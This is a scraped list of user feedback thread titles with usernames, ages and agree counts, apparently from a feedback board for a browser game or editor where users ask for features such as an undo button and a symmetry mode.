• Try Me does not work
  By Tim - 155 months ago
  Unvote

  592 agree

• Two major glitches
  By BeyPokéDig - 154 months ago
  Unvote

  590 agree

• battle
  By alexof - 152 months ago
  Unvote

  579 agree

• Save
  By DevilishDB - 153 months ago
  Unvote

  578 agree

• Undo button
  By wombat - 152 months ago
  Unvote

  572 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 148 months ago
  Unvote

  566 agree

• achievements
  By Lee - 154 months ago
  Unvote

  565 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 154 months ago
  Unvote

  564 agree

• how do i draw the outline
  By kickassisdeboss - 154 months ago
  Unvote

  564 agree

• omfg
  By Russellmichael13 - 153 months ago
  Unvote

  557 agree

• Pen tool
  By Cblackdragon - 149 months ago
  Unvote

  552 agree

• White labeling the app?
  By Peter.dibart - 150 months ago
  Unvote

  522 agree

• You guys should have a symmetrical mode
  By Idrees - 154 months ago
  Unvote

  522 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 154 months ago
  Unvote

  519 agree

• Enemies
  By Agallup16 - 154 months ago
  Unvote

  511 agree

• Mirrored editing
  By wombat - 152 months ago
  Vote

  506 agree

• Designer
  By Anonymous - 155 months ago
  Unvote

  497 agree

• need some advice
  By Hao - 152 months ago
  Unvote

  495 agree

• Rankings
  By heyo - 154 months ago
  Unvote

  493 agree

• Benefits from improving ranks
  By hurrtz - 150 months ago
  Unvote

  489 agree

• Pro!!
  By Jtbui20 - 153 months ago
  Unvote

  488 agree

• Button
  By Cottonball - 153 months ago
  Unvote

  482 agree

• Forums
  By BeyPokéDig - 154 months ago
  Unvote

  478 agree

• help
  By Russellmichael13 - 153 months ago
  Unvote

  476 agree

• android app
  By Barissenkal - 146 months ago
  Unvote

  469 agree

• Undo Button
  By Cblackdragon - 149 months ago
  Unvote

  467 agree

• Extra weapons
  By MassMurdererOver9000 - 149 months ago
  Unvote

  464 agree

• 1 agrees
  By BeyPokéDig - 154 months ago
  Unvote

  461 agree

• I am using this on my site
  By Idrees - 154 months ago
  Unvote

  460 agree

• Image for ship
  By wombat - 152 months ago
  Unvote

  455 agree

• 0xp till| Only GA.
  By StoleYourFood - 149 months ago
  Unvote

  455 agree

• Question
  By Kickin Ass - 154 months ago
  Unvote

  441 agree

• how come the editor is so hard to use
  By Rcasassin - 151 months ago
  Unvote

  433 agree

• You guys need an undo button
  By Idrees - 154 months ago
  Unvote

  431 agree

• page moving up/down while controling the ship?
  By Tommy - 154 months ago
  Unvote

  420 agree